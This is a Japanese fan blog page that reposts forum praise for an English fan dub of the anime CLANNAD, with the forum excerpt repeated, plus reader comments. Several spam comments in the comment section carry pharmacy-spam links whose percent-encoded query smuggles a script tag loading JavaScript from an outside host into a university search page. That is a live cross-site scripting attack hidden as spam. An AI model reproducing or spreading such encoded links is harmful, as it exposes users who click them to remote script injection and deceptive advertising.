| Home |
最新にゅうす2007.12.03 Mon
439 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 10:29:34 ID:3xqhPJ4p
アメリカ人も随分とやるようになってきたなw
442 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 10:31:06 ID:gHrvUXqf
>>439
普通にうめぇwwww
やるな外国のヲタwwwww
443 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 10:32:31 ID:UxBAj5BW
>>439
すげええwwwwwwwwwwここまでとはwwwwwwwwwwwww
444 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 10:47:14 ID:MOVRSQKB
ムカつくほど椋がうまいなw
春原と渚も中々
445 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 10:58:12 ID:PFE5SsU0
ボタンもふきかえてるのが凄い
似てるし
446 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:01:45 ID:gHrvUXqf
「ナイスアイディーア」が春原っぽくてワロタ
これはこれで続いてほしいなw
447 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:02:24 ID:mkfG+ihO
>>439
すげぇとしか言葉がでねぇ
449 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:14:35 ID:k9nB6FLZ
外人吹き替えでアニメ見てたら英語のリスニングがうまくなるなwww
とりあずボタンの声がかわいすぐる。
450 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:18:36 ID:NJ7vrjuQ
萌えリスニングは商品化出来るよ
451 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:29:16 ID:kiKUG/iz
>>439
ちょw声そっくり過ぎだろ
452 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 12:05:20 ID:WDodtTkq
>>439
確かにやりおるわ
ナイスアイディア〜♪
声似てる…これはすごい
素人とは思えない
アメリカ人も随分とやるようになってきたなw
442 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 10:31:06 ID:gHrvUXqf
>>439
普通にうめぇwwww
やるな外国のヲタwwwww
443 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 10:32:31 ID:UxBAj5BW
>>439
すげええwwwwwwwwwwここまでとはwwwwwwwwwwwww
444 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 10:47:14 ID:MOVRSQKB
ムカつくほど椋がうまいなw
春原と渚も中々
445 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 10:58:12 ID:PFE5SsU0
ボタンもふきかえてるのが凄い
似てるし
446 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:01:45 ID:gHrvUXqf
「ナイスアイディーア」が春原っぽくてワロタ
これはこれで続いてほしいなw
447 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:02:24 ID:mkfG+ihO
>>439
すげぇとしか言葉がでねぇ
449 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:14:35 ID:k9nB6FLZ
外人吹き替えでアニメ見てたら英語のリスニングがうまくなるなwww
とりあずボタンの声がかわいすぐる。
450 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:18:36 ID:NJ7vrjuQ
萌えリスニングは商品化出来るよ
451 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 11:29:16 ID:kiKUG/iz
>>439
ちょw声そっくり過ぎだろ
452 名前:風の谷の名無しさん@実況は実況板で :2007/12/03(月) 12:05:20 ID:WDodtTkq
>>439
確かにやりおるわ
ナイスアイディア〜♪
声似てる…これはすごい
素人とは思えない
|
|
|
powerd by Amazon360
Hello! I'm Steve Dobson! I'm from AU, and i enjoy your site very much! it's awsome!
<a href = http://search.mit.edu/search?q=%42%75%79%20%56%69%61%67%72%61%20%4F%6E%6C%69%6E%65%20%61%74%20%46%44%41%20%61%70%70%72%6F%76%65%64%20%43%61%6E%61%64%69%61%6E%20%70%68%61%72%6D%61%63%79%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%6E%74%65%72%6E%65%74%75%73%61%73%65%61%72%63%68%2E%63%6F%6D%2F%76%69%61%67%72%61%22%3E%3C%2F%73%63%72%69%70%74%3E&btnG.x=39&btnG.y=10&site=mit&client=mit&proxystylesheet=http%3A%2F%2Fspruce-goose.csail.mit.edu%2Fsearch%2Fgoogle-csail.xsl&output=xml_no_dtd&as_dt=i&as_oq=site%3Awww.csail.mit.edu%20site%3Apublications.csail.mit.edu&med=buy-viagra > buy viagra </a> buy viagra
Thanks!
<a href = http://search.mit.edu/search?q=%42%75%79%20%56%69%61%67%72%61%20%4F%6E%6C%69%6E%65%20%61%74%20%46%44%41%20%61%70%70%72%6F%76%65%64%20%43%61%6E%61%64%69%61%6E%20%70%68%61%72%6D%61%63%79%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%6E%74%65%72%6E%65%74%75%73%61%73%65%61%72%63%68%2E%63%6F%6D%2F%76%69%61%67%72%61%22%3E%3C%2F%73%63%72%69%70%74%3E&btnG.x=39&btnG.y=10&site=mit&client=mit&proxystylesheet=http%3A%2F%2Fspruce-goose.csail.mit.edu%2Fsearch%2Fgoogle-csail.xsl&output=xml_no_dtd&as_dt=i&as_oq=site%3Awww.csail.mit.edu%20site%3Apublications.csail.mit.edu&med=buy-viagra > buy viagra </a> buy viagra
Thanks!
2008.05.25 Sun 22:03 URL [ Edit ]
こにちは!私ミッパです!そのビデオのきょうの声。よろしくお願いします。そして、私もうふこちゃんの声!("She Dribbles...and Shoots!"のビデオ.)
みんなのコメントがすごくやさしいです!恥ずかしい!その二個のビエオを見て下さい!
みんなのコメントがすごくやさしいです!恥ずかしい!その二個のビエオを見て下さい!
2007.12.12 Wed 21:55 URL [ Edit ]
風の谷の名無しさん
2007.12.06 Thu 18:48 URL [ Edit ]
風の谷の名無しさん
アニメ独特の二次元っぽさ、現実にいない少女の感じが出ていて、すばらしいですね。
Kawaiiって単語が英訳できないように、アニメ独特のニュアンスを汲み取ってくれたのでしょうか。
うれしいです。
Kawaiiって単語が英訳できないように、アニメ独特のニュアンスを汲み取ってくれたのでしょうか。
うれしいです。
2007.12.05 Wed 15:33 URL [ Edit ]
Ah, I don't know Japanese very well but I think most of you enjoyed our little production.
The maker of this video is fantastic, I love our voice-actors. I do not know if I lived up to everyone's expectations, but I was Nagisa Furukawa. I adore CLANNAD. Once again, thank you for the comments! And thank you to Kairi/Bebi for producing this clip :)
----
ありがとうございました!
nagisaてくれました。大好きクラナドします。 :D
The maker of this video is fantastic, I love our voice-actors. I do not know if I lived up to everyone's expectations, but I was Nagisa Furukawa. I adore CLANNAD. Once again, thank you for the comments! And thank you to Kairi/Bebi for producing this clip :)
----
ありがとうございました!
nagisaてくれました。大好きクラナドします。 :D
2007.12.05 Wed 05:00 URL [ Edit ]
風の谷の名無しさん
すっごいなー。
これだけうまく似せてくれたら嬉しいなww
つかここのコメント欄いいね。
てっきり倉ナド=京アニ ってことでどっかのバカが叩きにくるかと思ったが、その心配はないみたいだ。
これだけうまく似せてくれたら嬉しいなww
つかここのコメント欄いいね。
てっきり倉ナド=京アニ ってことでどっかのバカが叩きにくるかと思ったが、その心配はないみたいだ。
2007.12.05 Wed 03:42 URL [ Edit ]
風の谷の名無しさん
2007.12.04 Tue 01:09 URL [ Edit ]
TrackBackURL
→ http://smallassassin.blog67.fc2.com/tb.php/1306-e5dcfc6b
→ http://smallassassin.blog67.fc2.com/tb.php/1306-e5dcfc6b
アニメ化され放送中のクラナドですが、英語吹き替え版もすでにあるようで。フタエキワミでもそうですが、大概アニメの外国語吹き替えってヒドイの多いと思うんですが、これは凄いです。声も日本版に近いし、雰囲気を合
Pick It Up 2007.12.04 Tue 23:41
| Home |


楽しみにしています。
そこはかとなく・・・
<a href = http://search.mit.edu/search?q=%42%75%79%20%56%69%61%67%72%61%20%4F%6E%6C%69%6E%65%20%61%74%20%46%44%41%20%61%70%70%72%6F%76%65%64%20%43%61%6E%61%64%69%61%6E%20%70%68%61%72%6D%61%63%79%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%6E%74%65%72%6E%65%74%75%73%61%73%65%61%72%63%68%2E%63%6F%6D%2F%76%69%61%67%72%61%22%3E%3C%2F%73%63%72%69%70%74%3E&btnG.x=39&btnG.y=10&site=mit&client=mit&proxystylesheet=http%3A%2F%2Fspruce-goose.csail.mit.edu%2Fsearch%2Fgoogle-csail.xsl&output=xml_no_dtd&as_dt=i&as_oq=site%3Awww.csail.mit.edu%20site%3Apublications.csail.mit.edu&med=buy-viagra > viagra online </a> viagra online
Thanks!